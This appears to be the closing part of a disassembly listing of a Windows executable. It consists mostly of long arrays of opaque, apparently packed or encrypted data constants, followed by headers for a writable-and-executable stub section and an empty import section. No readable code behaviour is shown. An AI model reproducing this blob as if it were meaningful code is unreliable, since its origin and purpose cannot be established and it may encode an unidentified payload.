		dd 0B264197Eh, 0B7C84827h, 0C65CF326h, 48BF6DC5h, 0F9BC6AE5h
		dd 5E6AA1Ah, 0D035F2BFh, 2BFD1E2Ch, 8707B2D1h, 0DEDF52D2h
		dd 47AE9179h, 0A064581Eh, 0FC3F29FDh, 6E6CBCC9h, 0CAD757E1h
		dd 5F155FB1h, 36AB2E42h, 744610DEh, 0DEFBD52Eh,	8022EBE7h
		dd 0A132420Ch, 0A4ED5DBEh, 3FAB9E51h, 9E716FFEh, 4C6B0ECDh
		dd 0B7475C5Ah, 773F6B18h, 0E1DB6AA7h, 3F67C82Dh, 0A33E73F4h
		dd 95CFFEEAh, 0EC95BBB0h, 8829B233h, 75326046h,	2433FA99h
		dd 7EE452B5h, 29780EEEh, 85D3FD7h, 0F9F67FB2h, 0A12D3527h
		dd 0ACBF9FECh, 22E25022h, 0B6C9C2BAh, 390AF6E9h, 0EF897AE5h
		dd 4069CBDEh, 349FEE39h, 0B0BCAC68h, 0D702109h,	6B1DCD33h
		dd 45214DF8h, 74B6C040h, 0E0C4B43Ch, 0F4779F2Fh, 458EC009h
		dd 3B99C81Eh, 0B86B923Ah, 0EF921C4Ch, 94C00736h, 5A6D04C8h
		dd 0C0B38EE0h, 0CF6BD1CEh, 122AD427h, 5CCF18FBh, 747CCC0Bh
		dd 99CBDA77h, 26798CD6h, 4D175541h, 0CF37F8A4h,	0C9D1436Ah
		dd 0A35E1A24h, 9DD5953Bh, 62D6360h, 3C564FB7h, 74844F6Fh
		dd 29CC5A43h, 25DEC3F2h, 5BCD8499h, 8A1E6E36h, 2E29F495h
		dd 0EB1FDCF7h, 9469A49Ah, 80922102h, 8A51EFECh,	0C3921F8Ah
		dd 58BBFE78h, 55225121h, 6C62EF21h, 6E76B43Fh, 93912E97h
		dd 0C7358BB7h, 621E5D0Dh, 0E0305BD8h, 80B926C2h, 9FDA63ECh
		dd 7C0A8527h, 8260AA5h,	9010D6B4h, 3A951029h, 252049A1h
		dd 8322E7CFh, 57D438C0h, 51D63902h, 0E067094Ah,	0BD5681BCh
		dd 9E6D4705h, 47B79AFDh, 4C346879h, 0FDD50360h,	0CD0C9357h
		dd 0F7401E3Eh, 0FE2C385Fh, 0AF2825B4h, 19678DE9h, 0FDE6A4B6h
		dd 0F15912C9h, 94152DB4h, 18608342h, 0EB5B117Bh, 0A683734Bh
		dd 17D44A12h, 0FD56588Fh, 0C81511E8h, 622F7E7Ah, 5AB8D64Fh
		dd 6AF244A5h, 8A390609h, 85B19238h, 0AABFDDF3h,	9583824Eh
		dd 0A788C8E8h, 0F9383845h, 0DE72D804h, 4EE82899h, 7BE877E7h
		dd 0ED4449E3h, 0C501D245h, 0EFBE2017h, 88D1012h, 6149E28Ch
		dd 2610FBC2h, 33B5851h,	99579900h, 91164C91h, 0E063A68Ah
		dd 0FBE6C12h, 0C331FCA9h, 13F18AA4h, 0FEAB7C73h, 77117FB0h
		dd 752D27A1h, 51EB262Ch, 0D1CF905Bh, 0F2D02AFBh, 5DD01BC8h
		dd 0B598D14h, 32C64229h, 7AFA9DE8h, 4FC4A7ADh, 0F1151BA5h
		dd 5D5018CBh, 5B25AC89h, 0BA731174h, 0A7556E23h, 892E5A8Ch
		dd 77F320EFh, 5631EDDCh, 0D45A3A2h, 799031E6h, 6A86F286h
		dd 0D0AA5708h, 8588352Ah, 0EF103875h, 9F45B5A6h, 0FB35CD46h
		dd 4FE20339h, 9E04648h,	0CED7A313h, 329C47Bh, 8499176Bh
		dd 91CEF228h, 0E92DAEDDh, 436A4E91h, 7A9157FAh,	67ACC7DBh
		dd 39B8E15Dh, 746A5143h, 11D532CAh, 176EBB4Ah, 3D94A598h
		dd 1C06B950h, 500724EEh, 49F7C4E5h, 0C734641Fh,	0C844556Bh
		dd 2F6C62F8h, 704F1EBBh, 73C549C2h, 0AC4147C5h,	60F35C49h
		dd 95129175h, 0D8B10BDFh, 736C786Ah, 60AC150Eh,	0E5CECB75h
		dd 0F73E917Fh, 20E335D5h, 77B94196h, 0EB24D2A1h, 310D6558h
		dd 0F72DD7A8h, 1C5C807Dh, 0BA0BF211h, 0E226AF2Ah, 0E8835F08h
		dd 7B54D4B1h, 570E545Eh, 46790035h, 0A39A522Ch,	47012A7Bh
		dd 6353BE45h, 2BB70603h, 0BB86773Ah, 78DE77D7h,	6F138F65h
		dd 0EEA45605h, 0DA149AD7h, 6DF41939h, 547268C6h, 0B6C23A3Dh
		dd 5939E7DEh, 1F7C3FC6h, 0B823A3E3h, 38AB73F1h,	0C7790A77h
		dd 5562DBEBh, 2DAAB43Bh, 0C442ABB6h, 40B68BE4h,	0DF6754A8h
		dd 0F8F48A89h, 874E65A1h, 0E1A58625h, 31FD3B91h, 577B0A41h
		dd 7D5B46BEh, 734D546Ch, 543180DAh, 30C67BB1h, 0CFF5B82Ch
		dd 0EFF5BA6Ah, 79904866h, 0E2781D67h, 65EE56FAh, 0E972657Dh
		dd 6C4DB8F5h, 0C1CAF16Ah, 0C65499C8h, 0C3DED617h, 4E160798h
		dd 2CBB0320h, 6FEA1E20h, 0D42648B8h, 59A76C59h,	0AA012161h
		dd 8E5E8929h, 4AACADEDh, 58AB0265h, 92A422A6h, 0D415657Ch
		dd 1BF47D1Bh, 9FCB406Ch, 9C74433h, 60012E13h, 0E9F8C274h
		dd 49B10CACh, 46FAF81Bh, 0B2C78571h, 4E8372FCh,	0F0383183h
		dd 16945A14h, 0BFE0C778h, 1F2F83BCh, 37A49064h,	9FCAD89h
		dd 97EF4957h, 0C6B996F5h, 303C31Ah, 0C96F55C9h,	15D09879h
		dd 0F8619C92h, 5D676565h, 6A8794A4h, 8E9239E3h,	0DB7D210Dh
		dd 4FF02BAh, 7D763BA5h,	2486E4C5h, 178114B5h, 0DE4457B0h
		dd 0EB6B7F9h, 0AA9317A6h, 0CB32372Ch, 25EDC098h, 0B491988h
		dd 2BEFD830h, 3B26F620h, 0A286F4A3h, 0DDAC8FA7h, 5EB8BB0Bh
		dd 0C17EBD6Fh, 3201E662h, 8CCDB3B3h, 940E427Ah,	750545FAh
		dd 0BBECC9BEh, 52146970h, 0E3123C50h, 75D49863h, 0A85CCF12h
		dd 7F4D89A3h, 0D1C4DE26h, 0D4601A39h, 7F8BFDF4h, 49BC9487h
		dd 95696026h, 832E18ABh, 0AA4B62B1h, 0C9071014h, 0CA1037CBh
		dd 7F6FF013h, 0A35EA66Ah, 7AFBDB0Bh, 8747A435h,	0FDC7C129h
		dd 0CE53A311h, 6AC53E6h, 4B3238E6h, 0A7A04F2Ah,	384D5F9Fh
		dd 542B3C01h, 0BEAD4ABDh, 0F3CB2429h, 26915825h, 4000676Bh
		dd 8CF4B16Ch, 4656EBD2h, 0AAA4541Bh, 0C6E5957Ch, 0F43658ECh
		dd 0C3362FA3h, 7653AB6Fh, 7811D916h, 0CC1BBFBh,	1EDCA505h
		dd 0C534EE98h, 6B4645Ah, 614C42EAh, 91169D40h, 33C9DD94h
		dd 8D40BF0Fh, 9AB100Fh,	0A2B33AF3h, 0A0F6EC3Dh,	0E980E4E0h
		dd 0E7AB523Ch, 241ECCFCh, 0C3965E09h, 0E92DDC67h, 0FDD4E05Eh
		dd 2F93D535h, 0A547AE64h, 5972CE7Fh, 5118157Bh,	690E9F22h
		dd 0F05EC2DEh, 0B089AC36h, 0A4A4FD55h, 692EC539h, 5EFF6B24h
		dd 7190A92Eh, 0F5A0261h, 1351FFF2h, 2E6A7D20h, 3A93D648h
		dd 9EC8DF90h, 9476EDD7h, 0ACB6F41h, 0DF9396FAh,	0C5A6598h
		dd 0A87B6CC4h, 59E8295Ah, 0CEA44238h, 7F75DF81h, 0AAAB14Fh
		dd 22064Eh, 203F6A27h, 12EB1C1Bh, 4A68D9AFh, 0E496F90Ch
		dd 715BC59Fh, 913540BFh, 0EA12F295h, 39495A29h,	5AC2DA47h
		dd 0E273D9A3h, 0E2646B6h, 0F56ABEF2h, 1090AF12h, 95E561AEh
		dd 8DA967Ch, 881E3756h,	3830B79h, 196A8F07h, 85EAB309h
		dd 6BB88C5Eh, 98A24A15h, 772B24B7h, 0AB164F56h,	0A9F299C5h
		dd 0CE3F8B9Dh, 0B7CA55C4h, 75720DE6h, 3D5AAD26h, 20DB80A1h
		dd 0BCF7431Bh, 88F7A779h, 0E6BB9C1h, 0C714D3D9h, 624F925Eh
		dd 0E85436C5h, 3A5255ABh, 0F4A387F5h, 3B885B17h, 2AED4C7Ch
		dd 0C731C390h, 57E326D8h, 372AB04Ch, 31A679D8h,	35120D98h
		dd 45108D84h, 0BC4F9637h, 93C7EBD6h, 8D80BC83h,	0F4281657h
		dd 12F6BD50h, 490865Dh,	0EEEB6CAh, 1B4C65B3h, 5D0412A0h
		dd 7FC67C44h, 609932C0h, 20771CA7h, 403F3597h, 2F528040h
		dd 6FAC30C5h, 8D63F364h, 0A37AC9EEh, 3F84E8EAh,	0B16EF7F2h
		dd 3AFC434Dh, 448FE465h
		dd 4F296D0Ah, 0EBD9FE64h, 0F37C6FEBh, 6368A7Ah,	0F6D60CCCh
		dd 0FFF1B60h, 45A535DDh, 55598964h, 0A49B6DC4h,	0DD9634CBh
		dd 0DF4BA0Bh, 0DA957044h, 2C4B2CF3h, 0ABB9D4B5h, 326CD8F4h
		dd 2D44505h, 7B9C63D1h,	0CCAF111h, 0C722E50h, 0FB995B8Fh
		dd 6DD5B570h, 31158585h, 0E8448EB1h, 0E2F4FA5Dh, 478B7814h
		dd 671230DBh, 0F281CAF3h, 0AC004468h, 0FBDAFF93h, 715CD598h
		dd 29DAB42Fh, 2AAEE63Ch, 0F77B1C3Fh, 4D501536h,	8388FE7Ch
		dd 443EF777h, 0E52F884Ch, 3B2802C4h, 27529B6h, 8C9EF03Ch
		dd 0D2CAB396h, 0C67C3BB7h, 6D8328C7h, 25020CD8h, 38CED2D3h
		dd 0E23787D1h, 32CAD837h, 7020E286h, 79C6B614h,	6ABF9258h
		dd 9D691242h, 0C36DC66h, 6A1DE70Ah, 5F1D4340h, 15CA6E96h
		dd 0D60BA8A5h, 733E645Ch, 2EFAC6D0h, 1F5921E1h,	0C34B42CAh
		dd 141ED7C4h, 0BD2DDCB0h, 0D07C37D6h, 1876BA05h, 7838B201h
		dd 0C792ED69h, 1742878Dh, 0ECCEEEE3h, 0CD14232h, 0C64EAF84h
		dd 3B9BD6C4h, 0C4C4CB24h, 21A1E2C7h, 90C3E947h,	0F1817179h
		dd 7BA25F4Dh, 1953B362h, 73A207B5h, 25F7661Bh, 0E14AF8B2h
		dd 35CD5B9Bh, 0C8C70F61h, 6B3A888Ah, 0FA3616D8h, 88C61F8h
		dd 0C5909507h, 0FECD0416h, 1ECB4355h, 37726FACh, 0EC953395h
		dd 79BA164Ah, 0F725E4Eh, 0E03FC515h, 0FB7FB51Fh, 0AB4ECACFh
		dd 69F8DFDAh, 21C2507Eh, 982B001Ah, 0E6A18019h,	689A1674h
		dd 0FA925280h, 98AA9A0Eh, 39F60C56h, 251A6584h,	87E52C54h
		dd 641F5AD8h, 0BEFE5034h, 43D7C95Ch, 2229C138h,	9B0DABDh
		dd 66BDD12Eh, 4051B0F3h, 91D39094h, 55E40FB1h, 0AA940FB2h
		dd 14B3214Dh, 8AFADFB1h, 10288259h, 20589865h, 551EB9F4h
		dd 30C2623Ch, 0A36B86EFh, 0F0232BCCh, 508DAC8Dh, 5240E9C6h
		dd 14D12DD8h, 9AAA9D07h, 341E7FF2h, 62FA7E8Ah, 45F80D39h
		dd 621E0BDh, 89104370h,	9E395471h, 0AB40870h, 3BC7B6B9h
		dd 15AC0638h, 0B0DE565Ah, 2AF44111h, 0F93A166Ah, 71A002BFh
		dd 7726BC2h, 605183DDh,	0C6084B4Fh, 6911B329h, 0CFDE7DACh
		dd 49FBE71h, 31FB1258h,	944C1305h, 6F7AE722h, 0B6E91A2Dh
		dd 23486789h, 6B307876h, 5BB9E4CBh, 956F96C4h, 2A283EC3h
		dd 139694CFh, 0CE6C9B07h, 0D482CF0Ah, 0A20148Ah, 4120C0E3h
		dd 9D92A7E9h, 2246C2C1h, 0ABC36DDDh, 1A7F4A36h,	1797313Ch
		dd 0FB02D5D8h, 9CE5D7B4h, 10A5E196h, 0A6098AE6h, 7EEA878Fh
		dd 73A2CB55h, 97DABF9Dh, 0AD5C3F31h, 60FCBA09h,	0B6FA2BDAh
		dd 1C878BB5h, 9EC1A4FFh, 0E50C9463h, 680201D0h,	4900A2DDh
		dd 0DA8944FBh, 7AB96FADh, 68A9F749h, 13075D5Eh,	0F0B49160h
		dd 3B2E81C8h, 96D56236h, 91E869BDh, 7037F947h, 45B363C7h
		dd 0E9DA4528h, 0C3B39D74h, 0AAA39B78h, 0FDD2AD89h, 0E2A32C3Dh
		dd 0EA179505h, 0D7F0251Ah, 0FCCFF392h, 0B938ABE8h, 0B5B030ABh
		dd 0DBDCE14Ah, 595750A5h, 5DEFD634h, 5038418Ah,	858E1607h
		dd 311DB01Fh, 7C6D9567h, 5EAF4865h, 4B139A44h, 73005A21h
		dd 6E4C566Dh, 47695B91h, 7AED0806h, 447FEC98h, 0C772E5FBh
		dd 45F49A0h, 0B7244A4Bh, 0B07F36FFh, 68F33341h,	37463C19h
		dd 1FA1410Eh, 0BBD6CF5Fh, 27406A41h, 12DD4012h,	313AF2FDh
		dd 4DA837A2h, 49FE81EAh, 0E2C77488h, 5F67CEB1h,	7AFC9CB5h
		dd 6248A050h, 369066A6h, 0B08D4AF1h, 0FFB3A88Ah, 671004Eh
		dd 29E57821h, 0B666DEEDh, 3CDD1D29h, 3F1CD2BFh,	0A7FE596h
		dd 74DE62C3h, 0E2F1F228h, 487425FEh, 0C10D8295h, 6BD6EB77h
		dd 0ECC29A2Ah, 8D824DDEh, 7532E335h, 69A92075h,	9130D997h
		dd 8A8D6DBFh, 1FC3456Ah, 74AF1E3Ah, 0AB9C274Fh,	5128AB12h
		dd 2A85FFDBh, 7D13C7BAh, 0C4288618h, 776B1622h,	0DFAF3A4Ah
		dd 15E3DBB5h, 7E060D1Fh, 66BB556Ch, 1628D84h, 0D6F3FF27h
		dd 54F26EAEh, 0FFF484D6h, 91F697E0h, 0A5014669h, 6872E6D6h
		dd 0D87722CAh, 0B705F8ACh, 0F60D82E1h, 0E84D402h, 78B4AF9Ch
		dd 3F7D6487h, 68E7E7Ch,	26D9B8E9h, 0CB3FFD28h, 5F644991h
		dd 3EC9D67h, 69CB1A9Ah,	0F115C1D5h, 0E6667707h,	6B5EB137h
		dd 0EDC30A63h, 0E3D6DA7Ch, 41B559Ch, 44DC467Ah,	5571DB16h
		dd 443B2512h, 9DB10936h, 72A91573h, 871D2B27h, 0DF8ECDBh
		dd 6FC09E5Fh, 8EAB5666h, 35FD8A52h, 0D9F696E7h,	561B84CCh
		dd 65B4B15Bh, 0DA5D2005h, 0A94CBFE5h, 0DA83DF3Ah, 3F6533FBh
		dd 0EA19BD9Ch, 62A9930h, 58D35F19h, 8BA6B17Ch, 0EA2514A6h
		dd 0B2B9972h, 1210C488h, 0A53B8285h, 0E60A33E0h, 6C4D12D6h
		dd 0D00E02CAh, 426CC087h, 0B7274608h, 5A33D240h, 654A9E45h
		dd 0BB44F2DEh, 0F6D84F6Ah, 0DC8D826Ch, 84AD2B44h, 699D713Dh
		dd 54BAD2DAh, 928863Ah,	0DF54844Dh, 5D65F4E3h, 0ECBF3833h
		dd 5EE0446Eh, 737C16FCh, 0BD18973Eh, 8CBE58E7h,	57F38B14h
		dd 0B29137AFh, 7F450025h, 0CAF85FB9h, 2FF29C74h, 0E890D455h
		dd 1B1408CFh, 38769277h, 9AE2AADFh, 0DD020ADFh,	0BB3FA888h
		dd 674E8BBAh, 0D80A2B4h, 97F474C5h, 0E21DBD5Ch,	8987053Fh
		dd 0CB8317F2h, 73539886h, 0DDD283Dh, 9B0E38C7h,	0F4A758C0h
		dd 0C1A0445Bh, 75D51BD7h, 0CF3D8979h, 655AB396h, 0E005001h
		dd 0D9330512h, 1654D9ABh, 14B25AC4h, 0B22F192Dh, 0A943683Ch
		dd 7288DC8Dh, 0DE05E26Dh, 819DBBF0h, 29C6B61h, 8D7B4EBBh
		dd 0C98B531Dh, 5A02E7B6h, 0CD19FF9Ah, 0C132A5E5h, 200D5E9Bh
		dd 2FEF5D90h, 16C3D828h, 221D450Eh, 0DFBD65A2h,	0CB4E5C90h
		dd 0EAADDA65h, 28898F1Ch, 544F714Fh, 3E9F480Ch,	3C3BA845h
		dd 733C088Ah, 0F43E3070h, 0DDBB3537h, 0B0404CDEh, 0AF88F7A1h
		dd 4557F23Dh, 0DAE75415h, 108F7892h, 0BF388C9Ah, 722C5704h
		dd 195FC5CCh, 94CC7F96h, 0CBB9C94Fh, 9DC8BAA2h,	6D50F171h
		dd 309F6842h, 0C2D3BCBh, 6F313B4Bh, 403E00DFh, 366E77DEh
		dd 80A1082Bh, 2959E59Ah, 8913DE7Eh, 42CC63C1h, 0A65699B8h
		dd 7CB32DE7h, 13C2E827h, 65EE6DD6h, 0A6540BD1h,	6F5D3933h
		dd 0F2F0CABFh, 0C05887BDh, 0C9178CC7h, 0CF791060h, 0D727FFA9h
		dd 82C688AAh, 7A55AB4Bh, 0E78056B0h, 0F23CF61Eh, 0C5637EF7h
		dd 0F25144DFh, 0ECBCE3D4h, 25462A42h, 1DB0C1F7h, 23E19B75h
		dd 0BE859F44h, 565B06ECh, 0F6DA0D6Ah, 2384D623h, 37E0B8C0h
		dd 9F883FB5h, 536CC091h, 224A168Ah, 0B51505EBh,	5FF1F606h
		dd 2BA76405h, 0C5458160h, 0AE26C071h, 16F5F00Fh, 0D59C0C7h
		dd 0E7D5AC66h, 2F7A1890h, 2E42AB89h, 0E91AB042h, 271DA067h
		dd 7BA63B47h, 6A4292B8h, 0B0FD79AEh, 0B103D54Fh, 0DCCE7513h
		dd 0D6802FBAh, 0FDF395F5h, 0B7118AADh, 347CBF57h, 4AC09510h
		dd 7E2B06B4h, 460B79DBh, 1FDB7DDAh, 8EEDC611h, 32C842E1h
		dd 31954EFFh, 3D3EE248h, 9531D851h, 6FD3990Eh, 0CB293312h
		dd 8F82BE3h, 2C053A67h,	0B034E897h, 0FAEE0D11h,	0AC9612E6h
		dd 0C2454214h, 41A463B7h, 0C4BA857Ch, 0B60734ABh, 0F8D01C63h
		dd 43EB0EFFh, 0A847CA68h, 0AAD5825Dh, 868CA162h, 0BFC3DE04h
		dd 67079F70h, 1A19A930h, 0F0181613h, 57BF0C44h,	141AD65Bh
		dd 54229121h, 0B8F39447h, 0F352C48Fh, 334E8B2Ah, 29DCC2ECh
		dd 941312D9h, 82A9E19Ch, 773B3414h, 0DD0FFF21h,	22AEAB14h
		dd 780CE6A4h, 8E359376h, 0E84AF24Bh, 0C1DE276Dh, 4D6318A8h
		dd 3C08C8B3h, 0BF297185h, 4C5716D7h, 0D56A833Eh, 0CF0F3Ch
		dd 4A3E4AA2h, 0B3448D84h
		dd 0CE5DC9DDh, 0F222DF9Ch, 5A3EF49h, 367A050Ch,	4CA5FA34h
		dd 7C0D49F4h, 391B253Fh, 0A25CF1CAh, 4D3EA285h,	3C054D07h
		dd 6F183BB9h, 7B06A6DCh, 5CB65497h, 70FD9B7Bh, 8FD70166h
		dd 74C8B7D6h, 0F196C37Ch, 34BE3784h, 7C377C9Ah,	9A891D7Eh
		dd 0C9EDED1h, 0EF67D2B6h, 165BDF37h, 67A8602Ch,	632218E6h
		dd 4E80F454h, 0C2A645B9h, 0A1409BFDh, 9D9504h, 0BDEBF298h
		dd 0B2B11AC2h, 0FD7DCA35h, 83FB53AEh, 7F385C39h, 6A7AC05Bh
		dd 2D8CAB9Ah, 3D3F0DA1h, 4F46A924h, 0C1086D74h,	0ED87F97Ch
		dd 30B98FDh, 77D4C6B0h,	0A7D0CB2Bh, 6C11A0ABh, 7AFD95FAh
		dd 0A551C557h, 8933C1h,	0F50E289Ch, 43D55C0Dh, 0AB98F2C5h
		dd 0A990F949h, 0E0AE60D0h, 0B5E9FD0Eh, 83E7A688h, 2901CDBFh
		dd 3E8EAAAFh, 9289FD08h, 67140D6Fh, 0DF93B544h,	0DEA3CAB6h
		dd 0D30D803Eh, 8FB60906h, 0E825BB97h, 0B3A63E32h, 525B6140h
		dd 391C5E5Bh, 55D99711h, 71477982h, 2C18695Fh, 9BF2F805h
		dd 65DB20C1h, 5CB58D20h, 0C85D98E6h, 15AAE3F1h,	0A919E5D7h
		dd 0CD3313ABh, 566569Ch, 0FF0C7427h, 0F23304D1h, 987EA8ABh
		dd 0FCF58141h, 6121BC26h, 569364B9h, 2A22DFC8h,	565AF99Bh
		dd 3BBEB118h, 81D8ABD4h, 37548240h, 6A90F768h, 0CEBE532h
		dd 3B4E0CC5h, 0B2A96925h, 0FFCEFE30h, 0B14F63AEh, 7DD033B6h
		dd 32680690h, 79216AF6h, 35D92CBEh, 0B06AEA28h,	72DC042Fh
		dd 0E98004D0h, 0C05B931Eh, 0EE00060Ah, 0FDF17F6Ch, 0BBB32A74h
		dd 0C7D3BAD5h, 2FECB12Dh, 51B31022h, 5C5D232Bh,	0FD78E9A5h
		dd 18EBCC96h, 0F8FDF94Dh, 0C667B6B2h, 0E50B57FBh, 2D9652CBh
		dd 5087362Ah, 0B95271Bh, 0ACE55C16h, 0C1770F5Bh, 87702AC5h
		dd 30AF5CE6h, 4C854EE9h, 0F391B79Ah, 2805D276h,	3F977A78h
		dd 888162D2h, 0A42305A7h, 0F771E93Ah, 700B8300h, 6606A700h
		dd 0A1CE266h, 0B4786E14h, 0A287622h, 0AF3458C0h, 0F2C1930Ch
		dd 0F96320FFh, 8C46AC2Eh, 4E37D7CBh, 3F4F6D35h,	26020C73h
		dd 0A4087C61h, 0C44ED1F6h, 807E6F57h, 0A023FABFh, 4AC1458Dh
		dd 66B5F4D8h, 52C21687h, 0ED5A1C9Ch, 0E7126414h, 0BF9A2CC5h
		dd 0B80DB0EFh, 0B975F896h, 0E02369CFh, 0A496A7C5h, 0B782E0F9h
		dd 0BFBB2B7Eh, 0D18F0F77h, 418F4D95h, 0FA89C503h, 709DEB74h
		dd 0EC83E6D4h, 2283B497h, 0DCB0DEF3h, 6CE35057h, 0A4F4E968h
		dd 0B5F2DC38h, 24374580h, 0DFCA5B4Dh, 0BF208598h, 6A0B5095h
		dd 9CA8653Bh, 0B8A1ECA0h, 941D2CD0h, 0C6B8B0ACh, 0BD5063CEh
		dd 0F398BD1Ah, 597D8C61h, 2110AD5h, 69BAF515h, 52D417D9h
		dd 0CF7297E3h, 0A40C38AAh, 0ED87EFB2h, 0E5DD106Fh, 0DACF0F41h
		dd 592397C8h, 5F493476h, 53A4070Bh, 481FE66Eh, 446E5526h
		dd 0EDF283A6h, 0D6F1635Eh, 13CE2B28h, 90767EDFh, 0F28B2CF6h
		dd 0CB286F6Fh, 6CD64860h, 6AAC1932h, 758E25BAh,	93256160h
		dd 0BA573F7Ch, 0B7E8914h, 3328484Bh, 1D004208h,	275EE5E1h
		dd 794156C9h, 1C60FD52h, 422C9B38h, 0D445E7F2h,	4267B59Eh
		dd 4BD5B8h, 5DFF31CDh, 9D234C7h, 61C8BAB5h, 0AA42CE1h
		dd 654590F7h, 8B4871E0h, 5488A5E5h, 17163CDh, 0DA03C4A8h
		dd 955C2E2Bh, 16FAA969h, 8DF645C7h, 0AB1C5E3h, 14424343h
		dd 9BCF16h, 458h dup(0)
_data		ends

; Section 5. (virtual address 00090000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00090000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 490000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 17h dup(0)
dword_49005C	dd 3E9h	dup(0)		; DATA XREF: seg002:off_4255FCo
_adata		ends

; Section 6. (virtual address 00091000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00091000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 491000h
		align 2000h
_idata2		ends


		end start